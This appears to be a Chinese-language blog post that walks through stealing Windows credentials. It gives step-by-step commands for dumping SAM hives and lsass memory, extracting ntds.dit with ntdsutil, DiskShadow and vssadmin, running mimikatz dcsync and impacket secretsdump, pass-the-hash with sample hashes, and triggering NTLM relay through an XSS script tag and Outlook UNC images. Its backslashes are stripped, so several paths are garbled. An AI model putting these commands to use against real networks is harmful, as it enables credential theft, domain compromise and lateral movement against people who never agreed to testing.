我們都知道,就用戶隱私泄露風險而言,網絡釣魚是最大的威脅,其次是鍵盤記錄器,然后是第三方黑客方式。
而黑客攻擊是用戶憑證泄露最常見的方式,但是由于暴露額外信息,網絡釣魚詐騙更加危險。
今天安仔就跟大家聊一聊windows如何獲取用戶憑證,這里說的用戶憑證獲取,一般是指 ntlm hash 或者可以直接利用的明文密碼。其他加密方式的用戶憑證不在本次討論范圍內。
1、本地用戶憑證
a、通過SAM文件破解
reg save hklmsam C:sam.hive
reg save hklmsystem C:system.hive
b、獲取lsass內存
1.procdump
procdump是微軟提供的一款監測cpu峰值協助管理員檢測異常數據的軟件是合法可信任軟件因此殺軟不會攔截。
利用該軟件可讀取內存的特性可以將計算機用戶登錄內存抓取出來。具體命令如下
以管理員身份啟動cmd
procdump64.exe -accepteula -ma lsass.exe 存放路徑文件名
將生成的文件傳出后使用mimikatz破解
mimikatz # sekurlsa::minidump 文件名
mimikatz # sekurlsa::logonPasswords full
2.創建轉儲文件
除了使用工具軟件獲得 lsass.exe 的內存外還可以直接在任務管理器中創建 lsass.exe 的轉儲文件效果和 procdump 生成的效果一樣。
2、域用戶憑證
a、ntdsutil 域快照
ntdsutil 是一個命令行工具是域控制器生態系統的一部分其主要用途是使管理員能夠輕松訪問和管理 Windows Active Directory 數據庫。但它常被滲透測試人員或紅隊隊員濫用來獲取現有的 ntds.dit 文件快照。在 Windows Server 2008 及以上版本的系統中可直接使用 ntdsutil。
ntdsutil
activate instance ntds
ifm
create full C:ntdsutil
quit
quit
b、DiskShadow
DiskShadow 是一個 Microsoft 簽名二進制文件用于協助管理員執行與卷影復制服務VSS相關的操作。這個二進制文件有兩個模式 interactive 和 script 腳本將包含自動執行 NTDS.DIT 提取過程所需的所有命令。可以在腳本文件中添加以下行以創建新的 volume shadow copy卷影復制掛載新驅動執行復制命令以及刪除 volume shadow copy。
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:windowsntdsntds.dit c:ntdsntds.dit
delete shadows volume %someAlias%
reset
需要注意的是DiskShadow二進制文件需要從C:WindowsSystem32路徑執行。如果從其它路徑調用它腳本將無法正確執行同時該腳本文件保存時編碼格式不能選擇 UTF-8 要選擇 ASCII 編碼否則運行會報錯。
diskshadow.exe /s c:diskshadow.txt
SYSTEM注冊表hive也應該被復制因為其包含了解密NTDS文件內容所需的密鑰。
reg.exe save hklmsystem c:ntdssystem.bak
c、vssadmin
vssadmin 即卷影復制服務Volume Shadow Copy Service是微軟Windows的一項組件服務從Windows XP開始支持。管理員可以使用卷影復制服務備份計算機卷以及文件即使操作系統正在使用這些資源。
1.備份方法
vssadmin create shadow /for=C:
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy[ID]windowsntdsntds.dit
copy \?
GLOBALROOTDeviceHarddiskVolumeShadowCopy[ID]windowssystem32configSYSTEM
vssadmin delete shadows /shadow=[GUID]
其中的HarddiskVolumeShadowCopy[ID]中的[ID]和[GUID]均為動態生成需要根據回顯結果輸入。如下圖:
可以看出[ID]為1"[GUID]為
c73089ab-8634-457c-8ee7-b8c0ed2432ad。
2.windows server 03
如果系統是 server 03 在執行完畢之后還需要使用esentutl對ntds進行修復。
esentutl /r edb /8 /d /o
esentutl /p .ntds.dit /8 /o
需要注意的是該操作必須在 windows server 2003 上執行。
d、Mimikatz
Mimikatz 有一個功能 dcsync 利用目錄復制服務 DRS從 NTDS.DIT 文件中檢索密碼哈希值。該技術消除了直接從域控制器進行認證的必要性,因為它可以以域管身份在域的任意系統執行,或是使用黃金票據從任意可連接到域控的服務器執行。因此這也是一項用于紅隊的標準技術。
lsadump::dcsync /domain:aptlab.com /all /csv
通過使用 /user 參數指定域用戶名Mimikatz 會將該指定用戶的所有帳戶信息轉儲包括哈希值。
lsadump::dcsync /domain:pentestlab.local /user:test
e、secretsdump
利用 impacket 下的 secretsdump 模塊也可以實現遠程盜取 ntds 內容。同時該工具支持 hash 傳遞攻擊。
Python secretsdump -hashes :NThash -just-dc domain/dc$@ipaddress
3、ntds文件解密
破解ntds文件的方法有很多軟件也有很多包括Impacket-secretsdump、Quarks PwDump等。
這里推薦使用NtdsAudit工具。
該工具可以十分高效的破解ntds文件并將全部域用戶信息導出方便查找域用戶狀態。
將ntds.dit文件和SYSTEM文件放在同一目錄下執行命令
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv
執行完畢后會生成兩個文件pwdump.txt和users.csv其中pwdump.txt為用戶hash文件包含用戶名及hashusers.csv文件為域用戶的詳細信息包括賬戶是否過期是否為管理員上次密碼修改時間等。
需要注意的是該工具只能在win10server16未測試上執行。
使用不同工具破解ntds文件時需要注意最好使用與導出ntds文件域控相同操作系統版本的系統進行破解否則可能會出現失敗的情況。
4、NTLM 協議攻擊思路
(1)hash 傳遞
hash傳遞攻擊pass the hash簡稱 PTH 。
由于 NTLM 驗證過程中在 type 3 階段計算 response 的時候客戶端是使用用戶的 hash 進行計算的而不是用戶密碼進行計算的。因此在模擬用戶登錄的時候是不需要用戶明文密碼的只需要用戶hash。
微軟在2014年5月13日發布了針對 Pass The Hash 的更新補丁 kb2871997標題為"Update to fix the Pass-The-Hash Vulnerability",而在一周后卻把標題改成了"Update to improve credentials protection and management"。同時該補丁還能阻止mimikatz 抓取明文密碼。
嚴格意義上講hash傳遞只是完成一個不需要輸入密碼的NTLM協議認證流程所以并不算是一個漏洞只能算是一個技巧。
a、常用工具
哈希傳遞作為一個比較常見的攻擊方式對應的工具有很多。常見的有
1.mimikatz
privilege::debug
sekurlsa::pth /user:win10 /domain:test.local
/ntlm:6a6293bc0c56d7b9731e2d5506065e4a
2.impacket
impacket的模塊中有5個都支持 hash 傳遞。
psexec.py
smbexec.py
atexec.py
wmiexec.py
dcomexec.py
舉例說明
python wmiexec.py -hash LMhash:NThash username@ipaddress
python wmiexec.py -hashes :NThash username@ipaddress
3.msf
use exploit/windows/smb/psexec_psh
4.CobalStrike
(2)中間人攻擊
NTLM relay攻擊即中間人攻擊。由于 NTLM 協議是一個嵌入式的協議因此當 NTLM 的上層協議是 smb 的情況下ntlm relay 就是 smb relay。那如果上層協議是 http也可以叫做 http relay但是都統稱 ntlm relay。
a、ntlm relay 的一般過程
正常的 ntlm 認證 type 1type 2type 3 流程。
而中間人攻擊則是在這個過程中作為中間人攻擊者將來自客戶端的包(type 1)轉發給服務端將來自服務端的challenge(type 2)轉發給客戶端然后客戶端計算完response 之后再把response(type 3) 轉發給服務端服務端驗證rsponse通過之后授予攻擊者訪問的權限。
b、跨協議的relay
鑒于 NTLM 協議的特性也可以在一個協議里面提取 ntlm 認證信息放進另外一個協議里面實現跨協議的relay。
c、中繼和反射relay or reflet
什么是反射
如果 Inventory Server 和 Target 是同一臺機器攻擊者拿到 Inventory Server 發來的請求之后發回給 Inventory Server 進行認證。這個就是反射reflect。
反射的應用
在工作組環境里面工作組中的機器之間相互沒有信任關系每臺機器的賬號密碼只是保存在自己的SAM文件中此時將中繼到其他機器就沒有任何意義了。
最能體現其特點的就是 CVE-2018-8581。通過抓到管理員hash并將其反射回自己從而實現短暫的權限提升。
d、NTLM 請求發起
既然是中間人攻擊那么關鍵問題就在于如何才能發起請求。發起請求的方法有很多但使用條件都較為苛刻就不過多贅述這里只介紹可行性最大的一種。
XSS & Outlook
利用xss構造
<script src="\ipaddress\xss">
這種情況適用于 IE 和 edge其他瀏覽器不允許從 http 協議跨到 file 協議。
如果使用 http 請求來發起認證在默認情況下需要手動輸入用戶信息進行驗證除非該站點的域名位于企業內部網或存在于可信站點列表中。否則都會跳出認證框來讓操作者再輸入一次。
除非在安全設置中將"用戶身份驗證"選項中"登錄"設置為自動使用當前用戶名和密碼登錄才能拿到用戶的net-ntlm hash。
發送郵件是支持html的并且 outlook 中的圖片加載路徑可以是 UNC。同 XSS 將圖片地址構造為攻擊 payload。
當收件人打開outlook查看郵件的時候就可以收到net-ntlm hash。。。。
我是安仔,一名剛入職網絡安全圈的網安萌新,歡迎關注我,跟我一起成長;私信回復【資料】 領取更多文章和學習資料,加入安全大咖學習交流群,一起進步。